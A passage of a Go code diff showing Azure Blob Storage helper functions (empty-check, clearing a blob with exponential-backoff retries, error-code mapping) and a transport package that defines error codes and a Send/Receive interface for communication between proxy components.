if err != nil {
|
||||
return false, BlobError(err)
|
||||
}
|
||||
|
||||
return props.ContentLength() == 0, ErrNone
|
||||
}
|
||||
|
||||
// ClearBlob empties a blob's contents by uploading an empty byte slice.
|
||||
// The operation is retried with exponential backoff until successful or
|
||||
// the context is canceled. Returns an error code indicating success or
|
||||
// specific failure reason.
|
||||
func ClearBlob(ctx context.Context, blobURL azblob.BlockBlobURL) byte {
|
||||
var errCode byte
|
||||
retryDelay := InitialRetryDelay
|
||||
|
||||
// Try the operation with unlimited retries
|
||||
for {
|
||||
_, err := blobURL.Upload(
|
||||
ctx,
|
||||
bytes.NewReader([]byte{}),
|
||||
azblob.BlobHTTPHeaders{ContentType: "application/octet-stream"},
|
||||
azblob.Metadata{},
|
||||
azblob.BlobAccessConditions{},
|
||||
azblob.DefaultAccessTier,
|
||||
nil,
|
||||
azblob.ClientProvidedKeyOptions{},
|
||||
azblob.ImmutabilityPolicyOptions{},
|
||||
)
|
||||
|
||||
if err == nil {
|
||||
// Success, no error
|
||||
return ErrNone
|
||||
}
|
||||
|
||||
// Wait before retrying with exponential backoff
|
||||
retryDelay, errCode = WaitDelay(ctx, retryDelay)
|
||||
if errCode != ErrNone {
|
||||
return errCode
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BlobError maps Azure Blob Storage errors to transport error codes.
|
||||
// It handles common error cases like container not found, network issues,
|
||||
// and authentication failures.
|
||||
func BlobError(err error) byte {
|
||||
// Quick check for nil
|
||||
if err == nil {
|
||||
return ErrNone
|
||||
}
|
||||
|
||||
// Check for context cancellation
|
||||
if errors.Is(err, context.Canceled) {
|
||||
return ErrContextCanceled
|
||||
}
|
||||
|
||||
// Check for container-related errors (indicating transport is closed)
|
||||
if storageErr, ok := err.(azblob.StorageError); ok {
|
||||
serviceCode := storageErr.ServiceCode()
|
||||
if serviceCode == azblob.ServiceCodeContainerNotFound ||
|
||||
serviceCode == azblob.ServiceCodeContainerBeingDeleted ||
|
||||
serviceCode == azblob.ServiceCodeAccountBeingCreated {
|
||||
return ErrTransportClosed
|
||||
}
|
||||
}
|
||||
|
||||
// All other errors are treated as general transport errors
|
||||
return ErrTransportError
|
||||
}
|
||||
|
||||
// WaitDelay implements exponential backoff for retry operations.
|
||||
// It sleeps for the current delay and returns the next delay duration,
|
||||
// which is the current delay multiplied by BackoffFactor, capped at
|
||||
// MaxRetryDelay. Returns an error code if the context is canceled.
|
||||
func WaitDelay(ctx context.Context, retryDelay time.Duration) (time.Duration, byte) {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return 0, ErrContextCanceled
|
||||
case <-time.After(retryDelay):
|
||||
retryDelay = time.Duration(float64(retryDelay) * BackoffFactor)
|
||||
if retryDelay > MaxRetryDelay {
|
||||
retryDelay = MaxRetryDelay
|
||||
}
|
||||
return retryDelay, ErrNone
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
// Package transport provides interfaces and implementations for communication
|
||||
// between proxy components. It abstracts the underlying transport mechanism
|
||||
// and ensures reliable data transfer with proper error handling.
|
||||
package transport
|
||||
|
||||
import (
|
||||
"context"
|
||||
)
|
||||
|
||||
// Error codes for transport operations.
|
||||
const (
|
||||
ErrNone byte = 0 // Operation completed successfully
|
||||
ErrContextCanceled byte = 2 // Context was canceled during operation
|
||||
|
||||
// Transport errors (20-29)
|
||||
ErrTransportClosed byte = 20 // Transport is permanently closed
|
||||
ErrTransportTimeout byte = 21 // Operation exceeded time limit
|
||||
ErrTransportError byte = 22 // Generic transport error
|
||||
)
|
||||
|
||||
// Transport defines an interface for bidirectional packet communication.
|
||||
// Implementations must ensure reliable delivery and proper error handling.
|
||||
// All methods are safe for concurrent use.
|
||||
type Transport interface {
|
||||
// Send transmits data to the recipient. It blocks until the data is sent
|
||||
// or the context is canceled. Returns an error code indicating success
|
||||
// or specific failure reason.
|
||||
Send(ctx context.Context, data []byte) byte
|
||||
|
||||
// Receive waits for and returns available data. It blocks until data
|
||||
// is available or the context is canceled. Returns the received data
|
||||
// and an error code indicating success or failure reason.
|
||||
Receive(ctx context.Context) ([]byte, byte)
|
||||
|
||||
// IsClosed reports whether the transport is permanently closed.
|
||||
// The error code parameter helps determine the closure reason.
|
||||
IsClosed(byte) bool
|
||||
}
|
||||
Reference in New Issue
Block a user